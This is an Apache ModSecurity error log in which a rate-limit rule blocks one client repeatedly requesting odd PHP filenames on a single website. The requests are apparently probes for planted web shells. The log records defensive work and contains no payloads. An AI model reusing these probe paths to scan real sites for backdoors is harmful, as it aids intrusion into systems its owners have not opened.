[Fri Apr 03 00:44:06.996900 2026] [:error] [pid 25035:tid 25446] [client 158.158.120.135:25544] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac6c1hhR292toNOkLqGWMwAAAIQ"]
[Fri Apr 03 00:44:07.489852 2026] [:error] [pid 25018:tid 25418] [client 158.158.120.135:25591] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac6c13upR6lXnAUzFGreJAAAAEU"]
[Fri Apr 03 00:44:07.990690 2026] [:error] [pid 25010:tid 25364] [client 158.158.120.135:32517] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac6c14_KcjFQF5TuqTWAtQAAAA8"]
[Fri Apr 03 00:44:08.474069 2026] [:error] [pid 25010:tid 25366] [client 158.158.120.135:63772] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac6c2I_KcjFQF5TuqTWAvAAAABE"]
[Fri Apr 03 00:44:08.989138 2026] [:error] [pid 25010:tid 25367] [client 158.158.120.135:59065] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac6c2I_KcjFQF5TuqTWAwgAAABI"]
[Fri Apr 03 00:44:09.478250 2026] [:error] [pid 25010:tid 25347] [client 158.158.120.135:59017] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac6c2Y_KcjFQF5TuqTWAxwAAAAA"]
[Fri Apr 03 00:44:09.982252 2026] [:error] [pid 25010:tid 25362] [client 158.158.120.135:52330] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac6c2Y_KcjFQF5TuqTWA0gAAAA0"]
[Fri Apr 03 00:44:10.535354 2026] [:error] [pid 25010:tid 25365] [client 158.158.120.135:41124] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac6c2o_KcjFQF5TuqTWA1wAAABA"]
[Fri Apr 03 00:44:11.020887 2026] [:error] [pid 25470:tid 25477] [client 158.158.120.135:41088] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/repurify.php"] [unique_id "ac6c23hROcck6_9HYyjiXwAAAMU"]
[Fri Apr 03 00:44:11.519449 2026] [:error] [pid 25010:tid 25354] [client 158.158.120.135:52365] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/repurify.php"] [unique_id "ac6c24_KcjFQF5TuqTWA3gAAAAY"]
[Fri Apr 03 00:44:11.998226 2026] [:error] [pid 25035:tid 25458] [client 158.158.120.135:41107] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/repurify.php"] [unique_id "ac6c2xhR292toNOkLqGWQQAAAJA"]
[Fri Apr 03 00:44:12.487566 2026] [:error] [pid 25018:tid 25427] [client 158.158.120.135:38556] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/repurify.php"] [unique_id "ac6c3HupR6lXnAUzFGreLgAAAE4"]
[Fri Apr 03 00:44:13.005503 2026] [:error] [pid 25018:tid 25437] [client 158.158.120.135:25547] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "ac6c3XupR6lXnAUzFGreMQAAAFg"]
[Fri Apr 03 00:44:13.497904 2026] [:error] [pid 25018:tid 25417] [client 158.158.120.135:25592] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "ac6c3XupR6lXnAUzFGreMgAAAEQ"]
[Fri Apr 03 00:44:13.982780 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:63793] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "ac6c3Y_KcjFQF5TuqTWA7wAAABM"]
[Fri Apr 03 00:44:14.465872 2026] [:error] [pid 25470:tid 25481] [client 158.158.120.135:63806] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tdsaz.php"] [unique_id "ac6c3nhROcck6_9HYyjicAAAAMk"]
[Fri Apr 03 00:44:14.959352 2026] [:error] [pid 25470:tid 25489] [client 158.158.120.135:38531] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ac6c3nhROcck6_9HYyjidAAAANE"]
[Fri Apr 03 00:44:15.458077 2026] [:error] [pid 25010:tid 25358] [client 158.158.120.135:40389] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ac6c34_KcjFQF5TuqTWA-wAAAAo"]
[Fri Apr 03 00:44:15.943266 2026] [:error] [pid 25470:tid 25480] [client 158.158.120.135:41090] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ac6c33hROcck6_9HYyjieQAAAMg"]
[Fri Apr 03 00:44:16.421583 2026] [:error] [pid 25470:tid 25494] [client 158.158.120.135:38542] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ac6c4HhROcck6_9HYyjifwAAANY"]
[Fri Apr 03 00:44:16.903126 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:41136] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "ac6c4HhROcck6_9HYyjigQAAAM4"]
[Fri Apr 03 00:44:17.382184 2026] [:error] [pid 25470:tid 25485] [client 158.158.120.135:40456] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "ac6c4XhROcck6_9HYyjihAAAAM0"]
[Fri Apr 03 00:44:17.891546 2026] [:error] [pid 25035:tid 25455] [client 158.158.120.135:32567] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "ac6c4RhR292toNOkLqGWUQAAAI0"]
[Fri Apr 03 00:44:18.374534 2026] [:error] [pid 25010:tid 25369] [client 158.158.120.135:40481] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hfles.php"] [unique_id "ac6c4o_KcjFQF5TuqTWBFQAAABQ"]
[Fri Apr 03 00:44:18.900068 2026] [:error] [pid 25035:tid 25453] [client 158.158.120.135:52391] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac6c4hhR292toNOkLqGWVAAAAIs"]
[Fri Apr 03 00:44:19.393638 2026] [:error] [pid 25010:tid 25356] [client 158.158.120.135:41105] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac6c44_KcjFQF5TuqTWBIAAAAAg"]
[Fri Apr 03 00:44:19.960899 2026] [:error] [pid 25470:tid 25482] [client 158.158.120.135:63798] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac6c43hROcck6_9HYyjimQAAAMo"]
[Fri Apr 03 00:44:20.464658 2026] [:error] [pid 25470:tid 25494] [client 158.158.120.135:59028] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac6c5HhROcck6_9HYyjioAAAANY"]
[Fri Apr 03 00:44:20.976076 2026] [:error] [pid 25470:tid 25482] [client 158.158.120.135:25582] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "ac6c5HhROcck6_9HYyjipwAAAMo"]
[Fri Apr 03 00:44:21.536779 2026] [:error] [pid 25470:tid 25488] [client 158.158.120.135:30451] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "ac6c5XhROcck6_9HYyjisAAAANA"]
[Fri Apr 03 00:44:22.117034 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:63754] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "ac6c5o_KcjFQF5TuqTWBNwAAABM"]
[Fri Apr 03 00:44:22.647912 2026] [:error] [pid 25470:tid 25480] [client 158.158.120.135:25561] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "ac6c5nhROcck6_9HYyjiuQAAAMg"]
[Fri Apr 03 00:44:23.655569 2026] [:error] [pid 25470:tid 25478] [client 158.158.120.135:38578] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac6c53hROcck6_9HYyjiuwAAAMY"]
[Fri Apr 03 00:44:24.459387 2026] [:error] [pid 25010:tid 25365] [client 158.158.120.135:32515] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac6c6I_KcjFQF5TuqTWBSgAAABA"]
[Fri Apr 03 00:44:24.953129 2026] [:error] [pid 25035:tid 25457] [client 158.158.120.135:54574] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac6c6BhR292toNOkLqGWagAAAI8"]
[Fri Apr 03 00:44:25.557825 2026] [:error] [pid 25035:tid 25460] [client 158.158.120.135:52348] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac6c6RhR292toNOkLqGWcAAAAJI"]
[Fri Apr 03 00:44:26.374549 2026] [:error] [pid 25035:tid 25457] [client 158.158.120.135:52385] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ac6c6hhR292toNOkLqGWdwAAAI8"]
[Fri Apr 03 00:44:28.049735 2026] [:error] [pid 25010:tid 25362] [client 158.158.120.135:25571] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ac6c7I_KcjFQF5TuqTWBcQAAAA0"]
[Fri Apr 03 00:44:28.654917 2026] [:error] [pid 25035:tid 25456] [client 158.158.120.135:32560] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ac6c7BhR292toNOkLqGWgwAAAI4"]
[Fri Apr 03 00:44:29.198802 2026] [:error] [pid 25470:tid 25490] [client 158.158.120.135:45246] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "ac6c7XhROcck6_9HYyjizQAAANI"]
[Fri Apr 03 00:44:29.972495 2026] [:error] [pid 25010:tid 25372] [client 158.158.120.135:40388] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-moonka.php"] [unique_id "ac6c7Y_KcjFQF5TuqTWBfwAAABc"]
[Fri Apr 03 00:44:30.489983 2026] [:error] [pid 25035:tid 25464] [client 158.158.120.135:52290] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-moonka.php"] [unique_id "ac6c7hhR292toNOkLqGWhgAAAJY"]
[Fri Apr 03 00:44:31.024366 2026] [:error] [pid 25010:tid 25369] [client 158.158.120.135:63745] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-moonka.php"] [unique_id "ac6c74_KcjFQF5TuqTWBiQAAABQ"]
[Fri Apr 03 00:44:31.554817 2026] [:error] [pid 25470:tid 25489] [client 158.158.120.135:57900] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-moonka.php"] [unique_id "ac6c73hROcck6_9HYyji2QAAANE"]
[Fri Apr 03 00:44:32.086510 2026] [:error] [pid 25035:tid 25463] [client 158.158.120.135:52354] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ac6c8BhR292toNOkLqGWkAAAAJU"]
[Fri Apr 03 00:44:32.649594 2026] [:error] [pid 25470:tid 25477] [client 158.158.120.135:40472] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ac6c8HhROcck6_9HYyji5QAAAMU"]
[Fri Apr 03 00:44:33.147514 2026] [:error] [pid 25035:tid 25464] [client 158.158.120.135:38557] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ac6c8RhR292toNOkLqGWkwAAAJY"]
[Fri Apr 03 00:44:33.698087 2026] [:error] [pid 25018:tid 25419] [client 158.158.120.135:40402] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "ac6c8XupR6lXnAUzFGreYwAAAEY"]
[Fri Apr 03 00:44:34.229390 2026] [:error] [pid 25035:tid 25460] [client 158.158.120.135:57877] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ac6c8hhR292toNOkLqGWmgAAAJI"]
[Fri Apr 03 00:44:34.786376 2026] [:error] [pid 25018:tid 25423] [client 158.158.120.135:52328] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ac6c8nupR6lXnAUzFGreaQAAAEo"]
[Fri Apr 03 00:44:35.271643 2026] [:error] [pid 25470:tid 25481] [client 158.158.120.135:38544] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ac6c83hROcck6_9HYyji9AAAAMk"]
[Fri Apr 03 00:44:35.961581 2026] [:error] [pid 25470:tid 25484] [client 158.158.120.135:40504] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ta0ol.php"] [unique_id "ac6c83hROcck6_9HYyjjAQAAAMw"]
[Fri Apr 03 00:44:36.454846 2026] [:error] [pid 25010:tid 25366] [client 158.158.120.135:41116] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac6c9I_KcjFQF5TuqTWBngAAABE"]
[Fri Apr 03 00:44:37.035862 2026] [:error] [pid 25035:tid 25450] [client 158.158.120.135:45228] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac6c9RhR292toNOkLqGWpAAAAIg"]
[Fri Apr 03 00:44:37.538385 2026] [:error] [pid 25470:tid 25478] [client 158.158.120.135:25598] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac6c9XhROcck6_9HYyjjEgAAAMY"]
